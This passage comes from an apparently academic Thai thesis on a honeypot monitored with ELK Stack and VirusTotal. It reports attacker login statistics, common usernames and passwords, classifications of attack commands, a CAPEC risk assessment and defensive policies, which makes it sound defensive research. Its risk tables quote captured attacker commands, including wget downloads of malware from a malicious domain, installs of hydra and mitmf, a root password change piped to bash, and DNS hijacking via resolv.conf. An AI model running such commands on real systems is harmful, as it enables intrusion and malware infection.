จ าแนกกลุ่มและจัดรูปแบบข้อมูลบันทึกจัดเก็บ

ค าสั่งใหม่ โดยสามารถระบุเลขอ้างอิงกลุ่มลงไปที่

คอลัมน์แรกของข้อมูลบันทึกจัดเก็บได้อย่างถูกต้อง 

3. Logstash สามารถจัดรูปแบบและแปลงข้อมูล

บันทึกจัดเก็บให้เป็นรูปแบบที่มีโครงสร้างเพื่อน าไป

แสดงผลที่ Kibana ได้อย่างถูกต้อง 

4. ท าการแจ้งเตือนผ่านอีเมลและไลน์ในกรณีที่พบ

ค าสั่งกลุ่มที่ 7 

ผ่าน 

2 .  ทดสอบการ ใ ช้

ค าสั่งการโจมตีที่มียู

อาร์แอลอันตราย 

1. สคริปต์ส าหรับจัดรูปแบบข้อมูลบันทึกจัดเก็บ

สามารถจ าแนกได้ว่าเป็นข้อมูลบันทึกจัดเก็บค าสั่ง 

2. สคริปต์ส าหรับตรวจสอบไฟล์อันตรายท าการ

เรียกใช้งานไวรัสโททอลเมื่อพบยูอาร์แอลภายใน

ค าสั่งการโจมตี 

3. ไวรัสโททอลส่งผลรายงานการทดสอบกลับมาได้

อย่างถูกต้อง 

4. สคริปต์ส าหรับตรวจสอบไฟล์อันตรายน าผล

รายงานการทดสอบจากไวรัสโททอลมาจัดเก็บใน

รูปแบบของข้อมูลบันทึกจัดเก็บ 

5. Logstash สามารถจัดรูปแบบและแปลงข้อมูล

บันทึกจัดเก็บให้เป็นรูปแบบที่มีโครงสร้างเพื่อน าไป

แสดงผลที่ Kibana ได้อย่างถูกต้อง 

6. ท าการแจ้งเตือนผ่านอีเมลและไลน์ 

ผ่าน 
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4.3.7 การเปรียบเทียบประสิทธิภาพ 

ผู้วิจัยท าการเปรียบเทียบประสิทธิภาพ โดยการทดสอบส่วนของการเข้าสู่ระบบระหว่าง

เซิร์ฟเวอร์ก่อนการพัฒนากับเซิร์ฟเวอร์หลังการพัฒนาเป็นจ านวน 5 วัน ซึ่งในการทดสอบผู้วิจัยท า

การก าหนดค่ารหัสผ่านให้ผู้บุกรุกไม่สามารถเข้าสู่ระบบได้ทั้ง 2 เซิร์ฟเวอร์ เพื่อทดสอบประสิทธิภาพ

ของแต่ละเซิร์ฟเวอร์ว่าผู้บุกรุกจะสามารถค้นหาเซิร์ฟเวอร์และพยายามท าการบุกรุกจ านวนกี่ครั้ง โดย

ตรวจจับจากการเข้าสู่ระบบที่ล้มเหลว ผลการทดสอบมีรายละเอียดดังตารางที่ 13 และ ภาพที่ 34 

ตารางที่ 13 ตารางการเปรียบเทียบประสิทธิภาพของระบบ 
วันท่ี เซิร์ฟเวอรก์่อนการพัฒนา เซิร์ฟเวอร์หลังการพัฒนา 

1 4374 158 

2 3641 115 

3 3805 142 

4 4121 107 

5 4023 126 

รวม 19,964 648 

 

 

ภาพที่ 34 กราฟแสดงผลการตรวจจบัการเข้าสูร่ะบบทีล่้มเหลว 

ผลจากการเปรียบเทียบประสิทธิภาพแสดงให้เห็นว่าเซิร์ฟเวอร์หลังการพัฒนาที่มีการ

ท างานร่วมกับฮันนีพอต สามารถป้องกันการบุกรุกได้มากกว่าถึง 96.7%  
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บทที่ 5  
การวิเคราะห์และประเมินผล 

ในบทนี้ได้กล่าวถึงแนวทางในการวิเคราะห์ ประเมินผล และแนวทางในการลดความเสี่ยง ซึ่งมี

รายละเอียดดังต่อไปนี้ 

5.1 แนวทางการวิเคราะห์ผล 

งานวิจัยน้ีได้แบ่งการวิเคราะห์ออกเป็น 3 รูปแบบ ได้แก่ วิเคราะห์ผลการเข้าสู่ระบบ วิเคราะห์ผล

ค าสั่งการโจมตี และวิเคราะห์ผลไฟล์อันตราย ซึ่งมีรายละเอียดดังต่อไปนี้ 

5.1.1 วิเคราะห์ผลการเข้าสู่ระบบ 

5.1.1.1 วิเคราะห์ชื่อผู้ใช้งาน 

หลังจากท าการทดสอบเป็นระยะเวลา 10 วัน สิ่งที่ค้นพบ คือ รายการการเข้าสู่

ระบบทั้งหมด 98,625 รายการ พบผู้บุกรุกเข้าสู่ระบบส าเร็จจ านวน 1,538 รายการ และที่ล้มเหลว

จ านวน 97,087 รายการ โดยช่ือผู้ใช้ 10 อันดับแรกที่นิยมส าหรับการบุกรุกระบบขององค์กร ดังแสดง

ในตารางที่ 14 

ตารางที่ 14 ช่ือผู้ใช้ 10 อันดับแรกที่นิยมส าหรับการบกุรุก 
ชื่อผู้ใช ้ จ านวนท่ีพบ 
root 5,348 

server 1,053 
admin 1,046 
Root 1,019 

server1 1,016 
administator 1,005 

r00t 993 
system 981 
test1 964 
oracle 948 
user 944 
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จากการวิเคราะห์ข้างต้นแสดงให้เห็นว่าผู้บุกรุกส่วนใหญ่มักจะเข้าสู่ระบบด้วยช่ือ

ผู้ใช้ที่เป็นค่าเริ่มต้น (Default) หรือ ที่คาดเดาง่าย ดังนั้น จึงควรหลีกเลี่ยงการใช้ช่ือผู้ใช้ที่คาดเดาง่าย 

(Weak Usernames) ดงัแสดงด้วยเวิร์ดคลาวด์ (Word Cloud) ในภาพที่ 35 

 

ภาพที่ 35 เวิร์ดคลาวด์แสดงช่ือผู้ใช้ที่ถูกพบมากทีสุ่ด 

5.1.1.2 วิเคราะห์รหัสผา่น 

รหัสผ่าน 10 อันดับแรกที่นิยมใช้ส าหรับการบุกรุกระบบขององค์กร ดังแสดงใน

ตารางที่ 15 และเวิร์ดคลาวด์ในภาพที่ 36 

ตารางที่ 15 รหสัผ่าน 10 อันดับแรกที่นิยมส าหรับการบกุรกุ 
รหัสผ่าน จ านวนท่ีพบ 
admin 179 

password 145 
123456 98 

123456789 84 
12345678 78 

123 59 
nproc 51 
1234 49 
12345 42 
root 29 
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ภาพที่ 36 เวิร์ดคลาวด์แสดงรหัสผ่านที่ถูกพบมากที่สุด 

งานวิจัยน้ีได้ค้นพบการโจมตีรหัสผ่าน (Password Attack) 3 รูปแบบ ได้แก่ 

1. การโจมตีแบบดิกชันนารี (Dictionary attack) เป็นการสุ่มรหัสผ่านจากไฟล์ที่

มีการรวบรวมค าศัพท์ต่าง ๆ เอาไว้ ดังแสดงในภาพที่ 37 

 

ภาพที่ 37 ตัวอย่างการโจมตรีหสัผ่านแบบดิกชันนาร ี
2. การโจมตีแบบบรูทฟอร์ซ (Brute-force attack) เป็นการเดารหัสผ่านทุกความ

เป็นไปได้ของตัวอักษรในแต่ละหลัก ดังแสดงในภาพที่ 38 

 

ภาพที่ 38 ตัวอย่างการโจมตรีหสัผ่านแบบบรูทฟอรซ์ 

3. การโจมตีแบบไฮบริด (Hybrid attack) เป็นการน าค าจากดิกชันนารีมา

ปรับปรุง โดยท าการเพิ่มหรือเปลี่ยนตัวอักษรภายในค าเหล่าน้ัน โดยที่ค าเหล่าน้ันยังคงความหมายเดมิ 

ดังแสดงในภาพที่ 39 
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ภาพที่ 39 ตัวอย่างการโจมตรีหสัผ่านแบบไฮบริด 

จากการค้นพบข้างต้นท าให้ทราบว่าการตั้งรหัสผ่านแบบง่าย ๆ  หรือตั้งรหัสที่มีอยู่

ในไฟล์ค าศัพท์ มีสิทธิถูกเดารหัสผ่านได้อย่างง่ายดาย และรวดเร็ว เนื่องจากการโจมตีรหัสผ่านเหล่านี้

ใช้โปรแกรมในการสุ่มรหัสผ่านโดยโปรแกรมเหล่านี้มีความถ่ีในการสุ่มรหัสผ่านอย่างน้อย 100 

รหัสผ่านต่อนาที 

5.1.1.3 วิเคราะห์ต าแหน่ง 

ผู้วิจัยได้น าเลขที่อยู่ไอพี ( IP Addresses) ของผู้บุกรุกมาท าการจัดรูปแบบ 

(Filter) ผ่าน Logstash ให้ได้ค่าละติจูด (Latitude) และค่าลองจิจูด (Longitude) เพื่อให้สามารถ

ระบุต าแหน่งในแผนที่ตามเลขที่อยู่ไอพีของผู้บุกรุก แสดงดังภาพที่ 40 โดยสีแดงคือต าแหน่งที่มี

จ านวนของผู้ที่พยายามท าการเข้าสู่ระบบมากที่สุด รองลงมาคือสีส้ม และสีเหลือง ตามล าดับ 

 

ภาพที่ 40 กราฟแสดงต าแหนง่ภูมิศาสตร์ของผูบุ้กรุก 
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งานวิจัยนี้ค้นพบ 10 ประเทศ ที่มีผู้บุกรุกท าการโจมตีเข้ามามากที่สุดตามล าดับ 

ได้แก่ ประเทศจีน สหรัฐอเมริกา แคนาดา สิงคโปร์ ฝรั่งเศส อิตาลี รัสเซีย บราซิล เกาหลีใต้ และ

เนเธอร์แลนด์ 

5.1.2 วิเคราะห์ผลค าสั่งการโจมต ี

หลังจากท าการทดสอบเป็นระยะเวลา 10 วัน ได้พบค าสั่งที่ผู้บุกรุกน ามาใช้ในระบบ

จ านวน 2,161 ค าสั่ง โดยสามารถจ าแนกออกเป็น 7 กลุ่ม รายละเอียดแสดงดังตารางที่ 16 

ตารางที่ 16 จ านวนค าสั่งที่พบในแต่ละกลุม่ 
กลุ่มค าสั่งการโจมต ี จ านวนค าสั่งท่ีพบ 

1. กลุ่มของค าสั่งเพื่อสืบค้นข้อมลูสารสนเทศ (Query Information) 1,414 
2. กลุ่มของค าสั่งเพื่อติดตั้งเครื่องมือ (Attempt to install) 18 
3. กลุ่มของค าสั่งเพื่อโอนย้ายข้อมูล (Transfer Files) 16 
4. กลุ่มของค าสั่งเพื่อเปลี่ยนแปลงข้อมลู (Change Configuration) 510 
5. กลุ่มของค าสั่งเพื่อยึดครองเครื่อง (Taking Over the Server) 12 
6. กลุ่มของค าสั่งทีผ่ิดพลาด (Error Case) 1 
7. กลุ่มของค าสั่งใหม่ที่ไมเ่คยพบ (New Case) 190 

 

 

 

ภาพที่ 41 กราฟแสดงกลุ่มค าสัง่การโจมตีที่พบมากสุดตามล าดับ 
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จากกราฟในภาพที่ 41 พบว่า ค าสั่งที่พบส่วนมากเป็นค าสั่งที่อยู่ในกลุ่มที่ 1 เช่น ค าสั่ง cat 

uname ls เป็นค าสั่งที่ใช้ในการค้นถามสารสนเทศของระบบ โดยกลุ่มนี้ไม่ได้ก่อให้เกิดความเสียหาย

ร้ายแรงต่อระบบ แต่ท าให้ผู้บุกรุกทราบถึงข้อมูลต่าง ๆ ภายในระบบ ซึ่งอาจท าให้เกิดการโจรกรรม

ข้อมูลเพื่อน าไปใช้ประโยชน์ในส่วนอื่น ๆ รองลงมาจากกลุ่มที่ 1 คือกลุ่มที่ 4 กลุ่มของค าสั่งเพื่อ

เปลี่ยนแปลงข้อมูล เป็นกลุ่มที่ก่อให้เกิดความเสียหายร้ายแรงต่อระบบ เช่น ค าสั่ง echo rm vi เป็น

ค าสั่งที่ใช้ในการเปลี่ยนแปลง หรือแก้ไขข้อมูลต่าง ๆ เช่น การลบ หรือ การสร้างไฟล์ ถัดมาจากกลุ่มที่ 

4 คือกลุ่มที่ 7 เป็นกลุ่มของค าสั่งใหม่ที่ระบบไม่เคยพบมาก่อน เมื่อมีค าสั่งใหม่เข้ามา ค าสั่งนั้นจะถูก

จัดอยู่ในกลุ่ม 7 และท าการแจ้งเตือนไปที่ผู้ดูแลระบบเพื่อให้ตรวจสอบ และน ามาจ าแนกตาม 6 กลุ่ม

ข้างต้นต่อไป ค าสั่งที่พบมากที่สุดแสดงด้วยเวิร์ดคลาวด์ในภาพที่ 42 

 

ภาพที่ 42 เวิร์ดคลาวด์แสดงค าสั่งที่พบมากทีสุ่ด 

5.1.3 วิเคราะห์ผลไฟล์อันตราย 

ผลการวิเคราะห์ไฟล์และยูอาร์แอลอันตราย ที่ ได้จากรายงานของไวรัสโททอล 

(VirusTotal) เมื่อน าไปวิเคราะห์ผ่านอีแอลเคสแต็ก (ELK Stack) พบจ านวนไฟล์และยูอาร์แอลใน

ค าสั่งการโจมตีทั้งหมด 544 ข้อมูลบันทึกจัดเก็บ จัดเป็นไฟล์และยูอาร์แอลที่ปลอดภัยจ านวน 76 

ข้อมูลบันทึกจัดเก็บ เป็นไฟล์และยูอาร์แอลอันตรายจ านวน 468 ข้อมูลบันทึกจัดเก็บ โดยสามารถ

จ าแนกประเภทการโจมตีจากข้อมูลบันทึกจัดเก็บได้ทั้งหมด 3 ประเภท ได้แก่ 1. ฟิชชิง (Phishing) 

จ านวน 39 ข้อมูลบันทึกจัดเก็บ 2. มัลแวร์ (Malware) จ านวน 258 ข้อมูลบันทึกจัดเก็บ และ 3. มัลลิ

เชียส (Malicious)  จ านวน 171 ข้อมูลบันทึกจัดเก็บ ดังที่แสดงในภาพที่ 43 
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ภาพที่ 43 กราฟแสดงจ านวนไฟล์และยูอาร์แอลอันตราย 3 รูปแบบการโจมตี 

มัลแวร์ (Malware)  และ มัลลิเชียส (Malicious)  มีความหมายเหมือนกันคือเป็นไฟล์หรือ

ยูอาร์แอลอันตราย เช่น ไวรัส (Virus), เวิร์ม (Worm) หรือโทรจัน (Trojan) แต่ที่ไวรัสโททอลรายงาน

ผลมาทั้ง 2 ช่ือเป็นเพราะว่าไวรัสโททอลจะท าการส่งไฟล์หรือยูอาร์แอลต้องสงสัยไปท าแซนด์บ็อกซ์

ผ่านหลายเครือข่ายแอนตี้ไวรัส ซึ่งแต่ละเครือข่ายมีค านิยามในการเรียกช่ือไวรัสที่แตกต่างกัน ส่วน

การโจมตีแบบฟิชชิง (Phishing) เป็นเทคนิคการหลอกลวงโดยใช้อีเมลหรือหน้าเว็บไซต์ปลอมเพื่อให้

ได้มาซึ่งข้อมูลส าคัญ เช่น ช่ือผู้ใช้ รหัสผ่าน หรือข้อมูลส่วนบุคคล เพื่อน าข้อมูลที่ได้ไปใช้ในทางที่ไม่

ถูกต้องเช่น การเข้าถึงระบบโดยไม่ได้รับอนุญาต หรือน าข้อมูลไปใช้สร้างความเสียหายในด้านอื่น ๆ 

เช่น ด้านการเงิน เป็นต้น 

การวิเคราะห์ยูอาร์แอล (URL) อันตราย ยกตัวอย่างจากค าสั่ง: 

wget http://flashpointy.xyz/panel/test1.exe เป็นค าสั่ งในการดาวน์ โหลดไฟล์  

test1.exe จากยูอาร์แอล http://flashpointy.xyz/panel/test1.exe ลงมาติดตั้งที่เครื่อง รายงาน

จากไวรัสโททอลตรวจพบว่ายูอาร์แอลดังกล่าวเป็นยูอาร์แอลอันตราย และเป็นการโจมตีแบบมัลแวร์ 

ซึ่งจากภาพที่ 43แสดงให้เห็นถึงความสัมพันธ์ต่าง ๆ ภายในยูอาร์แอล 
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ภาพที่ 44 กราฟแสดงความสมัพันธ์ของโดเมน flashpointy 

จากภาพที่ 44 ภายในกราฟแสดงการเช่ือมโยงความสัมพันธ์ของยูอาร์แอลไปถึงช่ือโดเมน 

(Domain Name) เพื่อหาว่าภายในโดเมนมียูอาร์แอลหรือไฟล์อื่นที่เป็นอันตรายอีกหรือไม่ ซึ่งพบว่า

ภายในโดเมน flashpointy.xyz มีโดเมนย่อย (Subdomain) จ านวน 4 โดเมน ได้แก่ 

1. mail.flashpointy.xyz  

2. webdisk.flashpointy.xyz  

3. discover.flashpointy.xyz  

4. www.flashpointy.xyz  

และพบยูอาร์แอลที่เป็นมัลแวร์จ านวน 10 ยูอาร์แอล ไฟล์ดาวน์โหลดที่เป็นมัลแวร์จ านวน 

7 ไฟล์ และพบต าแหน่งของผู้บุกรุกที่มีการใช้เรียกใช้งานยูอาร์แอลนี้ 2 เลขที่อยู่ไอพี (IP Address) 

ได้แก่ 95.157.63.185 และ 178.159.36.185 ซึ่งทั้ง 2 เลขที่อยู่ไอพีมาจากประเทศรัสเซีย 

ตารางที่ 17 ค าอธิบายรายละเอียดการเช่ืองโยงภายในโดเมน 
ชื่อโดเมน flashpointy.xyz 
โดเมนย่อย 4 
ยูอาร์แอล 10 
ไฟล์ดาวน์โหลด 7 
จ านวนการเรยีกใช ้ 2 
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5.2 แนวทางการประเมินผล 

5.2.1 การประเมินความเสี่ยง (Risk Assessment) 

เป็นการพิจารณาจัดล าดับความส าคัญของความเสี่ยง เพื่อหาวิธีบรรเทาหรือป้องกันความ

เสี่ยงเหล่าน้ัน โดยประมาณได้จากโอกาสที่จะเกิดความเสี่ยง และผลกระทบของความเสี่ยง 

5.2.1.1 โอกาสท่ีจะเกิดความเสี่ยง (Likelihood) 

คือ ความเปนไปไดที่จะเกิดความเสี่ยงหนึ่ง ๆ ซึ่งอาจก่อให้เกิดความเสียหายต่อ

ข้อมูลและทรัพย์สินขององค์กร การประมาณโอกาสที่จะเกิดความเสี่ยงสามารถแบ่งออกเป็น 5 ระดับ 

ดังตารางที่ 18 

ตารางที่ 18 เกณฑ์การประมาณโอกาสทีจ่ะเกิดความเสี่ยง 
ระดับคะแนน โอกาสท่ีจะเกิดความเสีย่ง 
1 น้อยมาก 
2 น้อย 
3 ปานกลาง 
4 สูง 
5 สูงมาก 

 

5.2.1.2 ผลกระทบ (Impact) 

คือ ความเสียหายที่อาจเกิดข้ึน การประมาณผลกระทบสามารถแบ่งออกเป็น 5 

ระดับ ดังตารางที่ 19 

ตารางที่ 19 เกณฑ์การประมาณผลกระทบ 
ระดับคะแนน ผลกระทบ 
1 น้อยมาก 
2 น้อย 
3 ปานกลาง 
4 สูง 
5 สูงมาก 
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5.2.1.3 แผนผังประเมินความเสี่ยง 

 โอกาสท่ีจะเกิดความเสีย่ง 
1 2 3 4 5 

ผลกระทบ 

5 5 10 15 20 25 
4 4 8 12 16 20 
3 3 6 9 12 15 
2 2 4 6 8 10 
1 1 2 3 4 5 

การประเมินระดับความเสี่ยงที่ผ่านการพิจารณาจากคาเปกสามารถแบ่งช่วง

คะแนนไดด้ังแสดงในตารางที่ 20 

ตารางที่ 20 ช่วงระดับความเสี่ยง 
ช่วงคะแนน ระดับความเสี่ยง 

1 - 4 น้อย (Low) 

5 - 9 ปานกลาง (Medium) 

10 - 15 สูง (High) 

16 - 25 สูงมาก (Very High) 

 

5.2.2 ผลการประเมินความเสี่ยง 

ในงานวิจัยน้ีได้ท าการจับคู่ผลกระทบของค าสั่งโจมตีที่พบกับการโจมตีคาเปก (CAPEC) ท า

ให้ทราบถึงโอกาสที่จะเกิดความเสี่ยงและผลกระทบของค าสั่งการโจมตีนั้น ๆ โดยผู้วิจัยพบว่ามีเพียง 

24 ค าสั่ง ที่มีวัตถุประสงค์ในการโจมตีใกล้เคียงกับวัตถุประสงค์การโจมตีคาเปกแสดงดังตารางที่ 21 

ตารางที่ 21 ผลการประเมินระดับความเสี่ยง 
กลุ่ม ค าสั่งการโจมต ี โอกาสท่ี

จะเกิด 

ผลกระทบ ค่าความ

เสี่ยง 

ระดับ

ความเสี่ยง 
1 cat /var/tmp/.var03522123 | head -n 1 3 3 9 ปานกลาง 

1 cat /var/tmp/.systemcache436621 4 5 20 สูงมาก 

1 cat etc/passwd 3 3 9 ปานกลาง 
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กลุ่ม ค าสั่งการโจมต ี โอกาสท่ี

จะเกิด 

ผลกระทบ ค่าความ

เสี่ยง 

ระดับ

ความเสี่ยง 
1 cd .. 4 4 16 สูงมาก 

1 ls -alR * 4 3 12 สูง 

1 free -m | grep Mem | awk '{print $2 ,$3, $4, $5, 
$6, $7}' 

4 2 8 ปานกลาง 

2 apt-get install mitmf 4 5 20 สูงมาก 

2 apt-get install hydra –y 3 4 12 สูง 

2 apt-get install hping3 4 3 12 สูง 

3 wget --no-check-certificate --content-disposition 
https://github.com/En14c/LilyOfTheValley 

3 4 12 สูง 

3 iptables -A OUTPUT -p icmp --icmp-type 0 -s 
$SERVER_IP -d 0/0 -m state --state 
ESTABLISHED,RELATED -j ACCEPT 

3 2 6 ปานกลาง 

3 wget http://flashpointy.xyz/panel/test1.exe 3 4 12 สูง 

3 curl https://api.the-black-
hack.jehaisleprintemps.net 

3 4 12 สูง 

3 wget https://www.microsoft.com/en-
us/download/details.aspx?id=18465 

4 3 12 สูง 

3 wget 
https://cloudypirate.com/cklacds0kup7/500-
worst-passwords.txt.bz2.html 

3 4 12 สูง 

3 wget https://goo.gl/RZqVFK 4 5 20 สูงมาก 

4 vi /etc/sysctl.conf 4 5 20 สูงมาก 

4 echo "root:JwdgyhDYlprP"|chpasswd|bash 4 4 16 สูงมาก 

4 mkfile 100g /file1.txt 2 4 8 ปานกลาง 

4 echo "104.243.41.97" >/etc/resolv.conf 4 5 20 สูงมาก 

4 ifconfig eth0 down 2 4 8 ปานกลาง 

4 ln –s/etc/nologin file_1 2 4 8 ปานกลาง 

5 su root 3 4 12 สูง 

5 sudo useradd admin0 2 4 8 ปานกลาง 
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5.2.3 สรุปผลการประเมินความเสี่ยง 

จากการจับคู่ค าสั่งการโจมตี ผู้วิจัยพบว่ามีกลุ่มค าสั่งที่สามารถอ้างอิงกับรูปแบบการโจมตี

คาเปกได้มากที่สุด คือ กลุ่มที่ 3 รองลงมาได้แก่กลุ่มที่ 1 และกลุ่มที่ 4 ซึ่งมีจ านวนเท่ากัน และกลุ่มที่ 

2 กลุ่มที่ 5 ตามล าดับ โดยมีรายละเอียดดังต่อไปนี้ 

กลุ่มที่ 3 กลุ่มค าสั่งเพื่อโอนย้ายไฟล์ สามารถจับคู่ค าสั่งได้ 7 ค าสั่ง 

กลุ่มที่ 1 กลุ่มค าสั่งเพื่อค้นถามสารสนเทศ สามารถจับคู่ค าสั่งได้ 6 ค าสั่ง 

กลุ่มที่ 4 กลุ่มของค าสั่งเพื่อเปลี่ยนแปลงโครงแบบ สามารถจับคู่ค าสั่งได้ 6 ค าสั่ง 

กลุ่มที่ 2 กลุ่มของค าสั่งเพื่อติดตั้ง สามารถจับคู่ค าสั่งได้ 3 ค าสั่ง 

กลุ่มที่ 5 กลุ่มของค าสั่งเพื่อยึดครองเซิร์ฟเวอร์ สามารถจับคู่ค าสั่งได้ 2 ค าสั่ง 

หลังจากประเมินความเสี่ยงค าสั่งการโจมตีทั้ง 24 ค าสั่ง พบว่าในแต่ละกลุ่มมีระดับความ

เสี่ยงที่หลากหลายสามารถจ าแนกได้ดังตารางที่ 22 

ตารางที่ 22 สรปุผลการประเมินความเสี่ยง 
กลุ่ม ระดับความเสี่ยง 

ต่ า ปานกลาง สูง สูงมาก 

1 0 3 1 2 

2 0 0 2 1 

3 0 1 5 1 

4 0 3 0 3 

5 0 1 1 0 

 

จากตารางที่ 22 แสดงให้เห็นว่ากลุ่มที่ 4 คือกลุ่มค าสั่งที่ควรให้ความส าคัญเป็นอันดับแรก 

เนื่องจากพบค าสั่งการโจมตีที่มีผลประเมินอยู่ในระดับความเสี่ยงสูงมากจ านวนมากที่สุด ถึงแม้ว่ากลุ่ม

ที่ 5 กลุ่มของค าสั่งเพื่อยึดครองเซิร์ฟเวอร์ หากถูกโจมตีแล้วจะมีผลกระทบต่อระบบมากที่สุด แต่

โอกาสที่จะเกิดความเสี่ยงของกลุ่มที่ 5 นั้นมีน้อย เมื่อน ามาประเมินร่วมกับผลกระทบ ท าให้ผู้วิจัย

พบว่ากลุ่มที่ 5 อยู่ในระดับความเสี่ยงสูงมากจ านวนน้อยที่สุด ดังนั้นจึงควรให้ความส าคัญกับค าสั่งการ

โจมตีกลุ่มที่ 4 มากกว่ากลุ่มที่ 5 
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5.3 แนวทางในการลดความเสี่ยง 

หลังจากท าการทดสอบและประเมินระดับความเสี่ยง ผู้วิจัยพบพฤติกรรมการโจมตีของผู้บุกรุกที่

อาจก่อให้เกิดความเสี่ยงหรือส่งผลกระทบต่อความมั่นคงปลอดภัยของเครือข่ายองค์กร ผู้วิจัยได้ท า

การรวบรวมรูปแบบการโจมตีและแนวทางการป้องกัน ซึ่งสามารถน ารายงานการโจมตีเหล่านี้มา

สนับสนุนการก าหนดนโยบายองค์กร โดยนโยบายการป้องกันที่องค์กรพึงมีเพื่อลดความเสี่ยงแบ่งเป็น 

2 กรณี ได้แก่ นโยบายการป้องกันเพื่อลดความเสี่ยงการโจมตีเข้าสู่ระบบ และนโยบายการป้องกันเพื่อ

ลดความเสี่ยงค าสั่งการโจมตี มีรายละเอียดดังต่อไปนี้ 

5.3.1 นโยบายป้องกันการลักลอบเขา้สู่ระบบ 

ผู้วิจัยท าการรวบรวมรูปแบบการโจมตีที่พบและนโยบายการป้องกันที่องค์กรพึงมีเพื่อลด

ความเสี่ยงในการถูกลักลอบเข้าสู่ระบบ รายละเอียดแสดงดังตารางที่ 23 

ตารางที่ 23 นโยบายป้องกันการลกัลอบเข้าสู่ระบบ 
รูปแบบการโจมตีท่ีพบ นโยบายการป้องกันท่ีพึงมี 

ผู้บุกรุกท าการลักลอบเข้าสูร่ะบบ โดยสุม่

รหสัผ่านจากค่าพื้นฐานของโปรแกรมทั่วไป 

บังคับการตั้งรหสัผ่านใหมส่ าหรับการใช้งานครัง้

แรก เพื่อเลี่ยงรหัสผ่านทีเ่ป็นค่าเริ่มต้น ซึง่ง่ายต่อ

การคาดเดา 

ผู้บุกรุกลักลอบเข้าสูร่ะบบ โดยใช้โปรแกรมใน

การสุม่รหัสผ่าน ในงานวิจัยน้ีพบการโจมตี 3 

รูปแบบ ได้แก่ 

- การโจมตรีหสัผ่านแบบบรูทฟอรซ์ 

- การโจมตรีหสัผ่านแบบดิกชันนาร ี

- การโจมตรีหสัผ่านแบบไฮบริด 

- บังคับการตั้งรหัสผ่านให้มีความซับซอ้นมากข้ึน 

เช่น ในรหัสผ่านต้องมีอักษรตัวเลก็ ตัวใหญ่ 

ตัวเลข และอักขระพิเศษ 

- บังคับการตัง้รหัสผ่านใหม้ีความยาวไม่น้อยกว่า 

8 ตัวอักษร 

- บังคับให้มีการเปลี่ยนรหสัผ่านเป็นประจ าอย่าง

น้อยทุก ๆ 90 วัน 

- ก าหนดให้มีการล็อกบัญชีผู้ใช้งานช่ัวคราวเมื่อ

พบการเข้าสูร่ะบบทีผ่ิดพลาดมากกว่า 3 ครั้ง 
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5.3.2 นโยบายป้องกันค าสั่งการโจมตี 

ผู้วิจัยท าการรวบรวมรูปแบบการโจมตีที่พบและนโยบายการป้องกันที่องค์กรพึงมีเพื่อลด

ความเสี่ยงในการถูกโจมตีด้วยค าสั่งต่าง ๆ รายละเอียดแสดงดังตารางที่ 24 

ตารางที่ 24 นโยบายป้องกันค าสัง่การโจมต ี
กลุ่ม รูปแบบการโจมตีท่ีพบ นโยบายการป้องกันท่ีพึงมี 

1 ผู้บุกรุกท าการสแกนพอร์ตเพือ่หาช่องทางใน

การโจมต ี

ก าหนดไฟร์วอลล์ให้เปิดเฉพาะพอร์ตทีจ่ าเป็น

เท่านั้น 

1 ผู้บุกรุกเรียกดูข้อมูลไฟล์ทัง้หมดในระบบ ก าหนดให้มกีารเข้ารหสัผ่านไฟลส์ าคัญเพื่อ

ป้องกันการโจรกรรมข้อมลู 

2 ผู้บุกรุกท าการฟิชช่ิง (Phishing) เพื่อ

โจรกรรมข้อมลูส่วนบุคคล 

ก าหนดให้ใช้โปรโตคอลที่มกีารเข้ารหสัลับใน

การรบัสง่ข้อมลูการสื่อสารอินเทอรเ์น็ต

ระหว่างผู้ใช้กับเว็บเซิร์ฟเวอร์ เช่น HTTPS 

(Hypertext Transfer Protocol Secure) 

2 

 

ผู้บุกรุกติดตั้งซอฟต์แวรท์ี่ไม่ได้รับอนุญาต ก าหนดนโยบายของไฟร์วอลล์ให้เซิร์ฟเวอร์

ห้ามออกอินเทอรเ์น็ต แต่ถ้าจ าเป็นต้องออก

จะต้องท าการระบุเฉพาะยูอาร์แอลที่ต้องใช้

งานเท่านั้นและยูอาร์แอลนั้นต้องได้รับการ

ตรวจสอบจากผูเ้ช่ียวชาญด้านความปลอดภัย 

3 ผู้บุกรุกเข้าใช้งานยูอาร์แอลที่ไมป่ลอดภัยเพื่อ

ดาวน์โหลดไฟลม์ัลแวรล์งมาทีร่ะบบ 

ก าหนดไฟร์วอลล์ให้ปลอดภัยมากข้ึน เช่น 

เมื่อพบยูอาร์แอลหรือไฟล์อันตรายภายใน

ระบบฮันนีพอตที่พัฒนา ใหท้ าการบลอ็กการ

เข้าถึงยูอาร์แอลหรือไฟล์ดังกล่าวที่ระบบจริง 

3 ผู้บุกรุกท าการคัดลอกข้อมลูภายในระบบ ก าหนดสทิธิการเข้าถึงแต่ละบัญชีผู้ใช้ตาม

หน้าที่การท างาน เพือ่ป้องกันการโจรกรรม

ข้อมูลองค์กร 

3 ผู้บุกรุกเข้าสูร่ะบบด้วยบัญชีผู้ใช้งานทั่วไป

และพยายามสร้างกฎใหม่ในไฟร์วอลล ์

ก าหนดใหส้ิทธิเฉพาะผู้ดูแลระบบเท่านั้นทีม่ี

สามารถแก้ไขข้อมลูพื้นฐานฮาร์ดแวร์และ

ซอฟต์แวร ์
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กลุ่ม รูปแบบการโจมตีท่ีพบ นโยบายการป้องกันท่ีพึงมี 

3 ผู้บุกรุกเรียกใช้งานเอพีไออันตราย (API) - ก าหนดไฟร์วอลล์ให้ใช้โปรโตคอลการ

เช่ือมต่อทีเ่ป็น HTTPS เท่านั้น 

- ก าหนดให้มีการตรวจสอบค่าทีร่ับเข้ามาจาก

ผู้ใช้งานเสมอ 

4 ผู้บุกรุกท าการเปลี่ยนแปลงเลขที่ไอพี (IP 

Address)  

บล็อกการเข้าถึงของเลขที่ไอพ ี(IP Address)

อันตราย 

4 ผู้บุกรุกท าการแก้ไขข้อมลูภายในไฟล ์ ก าหนดให้มกีารส ารองข้อมลู และตรวจสอบ

ข้อมูลก่อนน าไปประมวลผลทุกครั้ง 

4 ผู้บุกรุกท าการเข้ารหสัไฟล์ในระบบ ท าให้ไม่

สามารถเปิดใช้งานไฟล์ได ้

- ก าหนดให้ท าการส ารองข้อมลู (Backup) ไว้

ทุกครั้ง 

- ฝึกทักษะการกู้คืนข้อมูลให้กบัเจ้าหน้าทีท่ี่

เกี่ยวข้อง 

4 ผู้บุกรุกท าการปิดการใช้งานเครือข่ายของ

ระบบ 

- ก าหนดให้มีระบบส ารองในแต่ละส่วนงาน 

- ก าหนดให้แผนการกู้คืนระบบที่ชัดเจนและ

